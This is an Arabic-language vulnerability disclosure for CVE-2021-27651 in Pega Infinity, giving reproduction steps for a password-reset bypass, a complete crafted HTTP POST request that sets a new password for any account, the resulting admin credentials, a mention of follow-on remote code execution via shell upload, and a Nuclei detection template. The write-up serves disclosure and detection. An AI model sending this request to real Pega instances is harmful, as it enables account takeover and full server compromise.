CVE-2021-27651

الملخص

يمكن للمهاجم تجاوز جميع مراحل تدفق إعادة تعيين كلمة المرور وإعادة تعيين حساب أي مستخدم على Pega Infinity. ويتم ذلك عن طريق (1) بدء تدفق إعادة تعيين كلمة المرور وإدخال البريد الإلكتروني للضحية، ثم (2) إجبار طلب HTTP POST على تحديث كلمة المرور. يمكن للمهاجم تسجيل الدخول باستخدام الحساب المعدل حديثًا والاستيلاء الكامل على مثيل Pega عبر العديد من نواقل تنفيذ التعليمات البرمجية المقبولة بعد المصادقة (تعديل الصفحات الديناميكية، القوالب، إلخ).

خطوات إعادة الإنتاج

1. انتقل إلى صفحة تسجيل الدخول لأي مثيل Pega
2. انقر على "إعادة تعيين كلمة المرور"
3. اكتب "[email protected]"، ثم مرر طلب HTTP عبر البروكسي، وأرسل طلب HTTP الذي يحتوي على "[email protected]" إلى تبويب Burp Repeater أو أي تبويب مشابه، ثم اسمح للطلب بالمرور عن طريق تعطيل البروكسي أو النقر على "send"
4. بعد السماح للطلب الأولي بالمرور، عدّل جسم طلب HTTP في الـ repeater بحيث يتضمن البيانات التالية...

POST /prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD HTTP/1.1 (:PEGA_ID is a unique ID for each site, it is in this format: ZOgwf2Zk3OsEg_oG74MXXxG2bXKbv56W)
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: https://redacted.com
DNT: 1
Connection: close
Referer: https://redacted.com/prweb/PRServlet/app/default/:PEGA_ID*/!STANDARD
Cookie: yourCookie
Upgrade-Insecure-Requests: 1

pzAuth=guest&NewPassword=Rules%401234&ConfPassword=Rules%401234&pyActivity%3DCode-Security.pzChangeUserPassword=

5. سجّل الدخول باستخدام البيانات التالية بعد إرسال طلب HTTP، وبعد تجاوز جزء التأكيد من إعادة تعيين كلمة المرور، وبالتالي تتمكن من تسجيل الدخول إلى حساب المسؤول...

[email protected] / Rules@1234

6. من هناك، يمكنك تحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر أيٍّ من نواقل تنفيذ التعليمات البرمجية العديدة المقبولة والمخصصة للمسؤول فقط

الإصدارات المتأثرة

Pega Infinity >= 8.2.1 Pega Infinity <= 8.5.2

التأثير

اختراق كامل لأي مثيل Pega دون الحاجة إلى معرفة مسبقة.

وسائط الدعم

• تجاوز كلمة المرور

• تنفيذ التعليمات البرمجية عن بُعد عبر رفع شيل

قالب Nuclei

id: pega

info:
  name: Pega Infinity Login
  author: sshell
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}/prweb/PRRestService/unauthenticatedAPI/v1/docs"
    headers:
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
    matchers:
      - type: word
        words:
          - "Pega API"

الفضل

Andri Wijayanti (@andridev_),